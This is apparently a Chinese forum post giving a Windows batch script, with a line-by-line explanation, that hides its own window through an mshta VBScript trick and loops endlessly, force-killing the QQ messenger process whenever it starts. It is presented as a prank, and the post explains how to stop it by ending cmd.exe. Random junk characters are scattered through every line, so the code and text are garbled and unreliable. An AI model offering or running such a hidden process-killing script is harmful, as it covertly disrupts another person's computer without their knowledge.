|
|
|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 2 k. ^, U; P& W( I% X# u
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。
6 y* r& H8 x9 K2 h E
+ Y4 O5 T. Y# a! n' ?/ x" C4 E@echo off
" P: \' p; K5 U( [& Q8 Eif "%1" == "h" goto begin ) N" v, J/ e+ l8 h, x$ r5 o
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit / V" R- K/ q& D4 o0 _
:begin $ T5 s! Q1 a: q8 O9 y
tasklist |find /i "QQ.exe"
- p. ]4 E# _7 r0 m. b) `5 Bif %errorlevel%==0 (goto killit) else (goto next) % w% e! C- c0 p' N4 U* y7 Y7 ]8 V/ u6 s
:killit - ]# p8 c' F- \ B3 |) w3 p
taskkill /f /im QQ.exe
2 b- x' ` \; T j- u2 R% K9 `:next
: a) g3 W; e, a; d0 Y# F$ J3 mping -n 3 127.t >nul 2>nul # M9 Q& s# M% m
goto begin 4 D) C( C$ \4 V0 q0 d/ X9 A y
" q% K% i0 z# o9 n$ w代码到此为止
; A$ K; b l/ a讲解如下: c2 r4 [; K* s+ p ^* B3 _' Z8 y
@echo off ------关闭回显
8 p. T0 |, T, i+ Xif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
" j& ]' p$ D7 @4 m8 U4 L1 fmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 7 B8 O$ U' `! Q; b# `% {
:begin ------------定一段名begin
' y9 h: I3 W% ~) Z) j6 Y& D' ^- W4 stasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
! i0 p U7 U9 H* q( yif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
6 c) p7 z; q* Q: b+ {:killit
( c$ B0 Z1 e8 [) E) ?* B. Otaskkill /f /im QQ.exe----终结进程QQ.exe
1 x/ ]. o% b. k:next
+ d6 h8 ?% a+ Y- M1 Bping -n 3 127.t >nul 2>nul -----延迟一段时间
3 w1 q; x" N5 f* p) i: kgoto begin--------------返回执行begin
, |) h# m; C/ T& k |
|